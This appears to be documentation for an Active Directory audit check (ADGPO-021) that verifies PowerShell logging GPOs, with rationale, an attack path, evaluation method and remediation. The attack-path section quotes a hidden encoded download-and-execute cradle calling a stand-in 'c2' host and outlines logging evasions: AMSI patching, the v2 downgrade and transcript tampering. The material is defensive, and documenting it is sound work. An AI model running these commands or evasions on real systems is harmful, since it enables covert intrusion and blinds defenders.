ADGPO-021: PowerShell Logging Configuration
- Plataforma
- Active Directory
- Categoría
- AD Group Policy
- Severidad
- High
- Pilar de Zero Trust
- Governance (peso 2)
- Fixtures de referencia
- 3
- Cobertura de ramas
- Observada: los fixtures prueban los veredictos que ejercitan
- Procedencia
- baseline
Qué comprueba
For each GPO returned by Get-GPO -All, the check reads the registry.pol files under \\domain\SYSVOL\<domain>\Policies\{GUID}\Machine\Registry.pol and parses values under HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell. The three provider keys evaluated are: ModuleLogging\EnableModuleLogging (REG_DWORD, must be 1) ModuleLogging\ModuleNames (REG_MULTI_SZ, must contain "*" to capture every loaded module) ScriptBlockLogging\EnableScriptBlockLogging (REG_DWORD, must be 1) ScriptBlockLogging\EnableScriptBlockInvocationLogging (REG_DWORD, recommended 1 for 4105/4106 start/stop events) Transcription\EnableTranscripting (REG_DWORD, must be 1) Transcription\OutputDirectory (REG_SZ, must be a non-empty path the local SYSTEM can write and standard users cannot) Transcription\EnableInvocationHeader (REG_DWORD, recommended 1) The check correlates each GPO with its gPLink targets to determine whether the policy applies to all computer accounts, only the Domain Controllers OU, only a subset of member servers, or only workstations. It cross-references the Windows PowerShell event log channel size (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-PowerShell/Operational MaxSize) and confirms the channel is at least 1 GB so 4104 events are not rolled before forwarding. Findings are emitted per provider per scope: an environment with Script Block Logging on workstations but not on Domain Controllers fails the check because Tier-0 is the higher-value target. Output rows include Provider, EnabledState, Scope (linked OUs), ModulesCovered, TranscriptPath, TranscriptPathACL, ChannelMaxSize, and a Notes field that flags the high-impact gaps.
Por qué importa
PowerShell is the lingua franca of modern Windows intrusions. The Mandiant M-Trends 2024 report attributes 21% of initial-access-to-impact dwell time reductions to defenders who had PowerShell Script Block Logging enabled before the intrusion started. Conversely, the FIN7, APT29, FIN12, Conti, BlackCat, and Akira playbooks all rely on PowerShell stages that are invisible to a Windows event log without these providers. Specifically: - Without Script Block Logging, an attacker who runs powershell.exe -EncodedCommand <base64> or -Command "IEX (New-Object Net.WebClient).DownloadString(\'http://...\')" produces only a 4688 process create for powershell.exe. The actual script content is never written to disk and never appears in any event log. Even AMSI scanning is best-effort: an attacker who patches AmsiScanBuffer in their own process suppresses AMSI but still triggers 4104 because Script Block Logging fires before AMSI in the engine pipeline. Script Block Logging is the only reliable record of what a PowerShell process actually executed. - Without Module Logging, defenders cannot see which cmdlets were invoked or with what parameters. A Get-ADUser -Filter * -Properties * that exfiltrates the entire directory leaves no record of the LDAP filter or the property set requested. A Send-MailMessage that exfiltrates a CSV leaves no record of the recipient or attachment. - Without Transcription, defenders have no record of interactive sessions: an operator who RDPs to a jump host and runs PowerShell commands by hand has no auditable record of what they typed or what the host printed back. Transcription is the only provider that captures visible output. - The Windows 10 / Server 2016 in-box PowerShell engine logs Script Block 4104 events for warning-level (suspicious) blocks by default even when the policy is disabled, but only for content the engine itself flags as suspicious. This default is a tripwire, not coverage: most legitimate-looking obfuscation (Invoke-Obfuscation token-level, base64+gzip, AST-rewriting) does not trigger the warning heuristic. Operators who rely on default behavior are blind to the majority of PowerShell tradecraft. - PowerShell v2 downgrade is a known evasion: if PowerShell 2.0 is present (Windows-PowerShell-V2 optional feature), an attacker runs powershell.exe -Version 2 and bypasses Script Block Logging, AMSI, and Module Logging entirely because the v2 engine does not implement the providers. ADGPO-021 is paired with ADGPO-022 (PowerShell v2 disabled) for full coverage. - The blast radius of disabled logging is the entire forest: every Domain Controller, every Tier-0 host, every privileged workstation that loses telemetry becomes a safe staging point for credential dumping (Invoke-Mimikatz, SafetyKatz), directory enumeration (PowerView, ADRecon), Kerberos abuse (Rubeus, Invoke-Kerberoast), and persistence (Add-DomainObjectAcl, New-DomainGroupMember).
Ruta de ataque
1. Reconnaissance: the attacker, with any authenticated domain user, queries the GPOs that apply to a target. Get-GPResultantSetOfPolicy on a compromised endpoint, or a remote Get-GPInheritance -Target $ouDN as a low-privilege user, reveals which GPOs link where. Parsing SYSVOL Registry.pol files anonymously is sometimes possible when ACLs are loose. 2. Identification of logging gaps: the attacker reads HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging on the compromised host. If the value is 0 or missing, the host does not record script block events. The attacker also checks Get-WinEvent -ListLog Microsoft-Windows-PowerShell/Operational to confirm channel size and retention. 3. Tradecraft alignment: with logging confirmed off, the attacker drops to an in-memory PowerShell loader. Typical sequence: powershell.exe -nop -w hidden -enc <base64 of Invoke-Expression (New-Object Net.WebClient).DownloadString(http://c2/stage1.ps1)> The downloaded stage runs Invoke-Mimikatz, Get-NetUser -Spn for Kerberoast targets, and Invoke-Kerberoast, then exfiltrates hashes over the existing TLS session. None of this is logged. 4. PowerShell v2 downgrade: if Script Block Logging is enabled but PowerShell 2.0 is still present, the attacker pivots to powershell.exe -Version 2 -Command ... which the v2 engine executes without providers. The 4688 still shows powershell.exe, but no 4103, 4104, 4105, or 4106 fires. 5. Transcription bypass: if Transcription is enabled but the output directory ACL allows Authenticated Users to write, the attacker deletes or truncates the transcript file mid-session. If the path is on the local disk and the local Administrators group can delete, post-exploitation cleanup is trivial. If the path is a UNC, the attacker checks share ACLs and writes a junction or symlink to redirect. 6. AMSI sidestep: even with Script Block Logging on, an attacker who patches AmsiScanBuffer in-process suppresses AMSI-driven content scanning, but Script Block Logging still fires. The attacker mitigates by splitting payloads into many small script blocks (per-line IEX) which produces a large volume of low-signal 4104 events that overwhelm SIEM correlation. Defenders with proper retention and KQL/Sigma rules still catch this; defenders without 4104 see nothing. 7. Persistence: the attacker plants a WMI event consumer or Scheduled Task that runs powershell.exe with logging disabled or downgraded. Without 4103/4104, defenders see only the 4688 of powershell.exe at the persistence trigger and no record of what it did.
Cómo lo evalúa Guerrilla
Guerrilla calls Get-GPO -All -Domain $env:USERDNSDOMAIN, then for each GPO loads \\$domain\SYSVOL\$domain\Policies\{$gpoId}\Machine\Registry.pol with a parser based on the Microsoft GPRegistry binary format. Values under SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging, ScriptBlockLogging, and Transcription are extracted and normalized. For each provider, the check determines the linked scope of the GPO by reading the gPLink attribute on every OU, site, and the domain root. The check then computes coverage: which OUs (and therefore which computer accounts via Get-ADComputer -SearchBase) receive each provider with a passing configuration. Coverage gaps are flagged when the Domain Controllers OU, the Tier-0 OU, or more than 10% of computer accounts lack any one of the three providers. Transcript output directories are resolved and inspected with Get-Acl: a fail is reported when the path is missing, when Authenticated Users or Domain Users have Write or Modify, or when the path is on a local disk where the local Administrators group can delete. The check supplements GPO parsing with a remote registry read against a sample of computers (Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\..." via Invoke-Command with a Tier-0-safe runspace) to confirm the policy actually applied. The Windows PowerShell/Operational channel size is read via wevtutil gl Microsoft-Windows-PowerShell/Operational; a MaxSize below 1073741824 (1 GB) is flagged because high-volume hosts roll 4104 events within minutes at the default 15 MB.
Valor recomendado
Module Logging, Script Block Logging, and Transcription enabled via GPO on all systems
Remediación
Configure GPO settings under Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell. Enable Module Logging with '*' to log all modules. Enable Script Block Logging with 'Log script block invocation start/stop events'. Enable PowerShell Transcription with a secure output directory. Deploy to all domain-joined systems and verify log collection.
Veredictos probados con fixtures
Cada veredicto de esta tabla está probado por un fixture de referencia en la suite de pruebas que valida el módulo. La tabla se deriva de la última ejecución en verde; no puede editarse a mano.
| Escenario | Veredicto esperado |
|---|---|
| known-bad | FAIL |
| logging-present | WARN |
| throttled | Not Assessed |
Mapeos a marcos de referencia
- NIST SP 800-53
- AU-2, AU-3, AU-12, SI-4
- MITRE ATT&CK
- T1059.001, T1562.002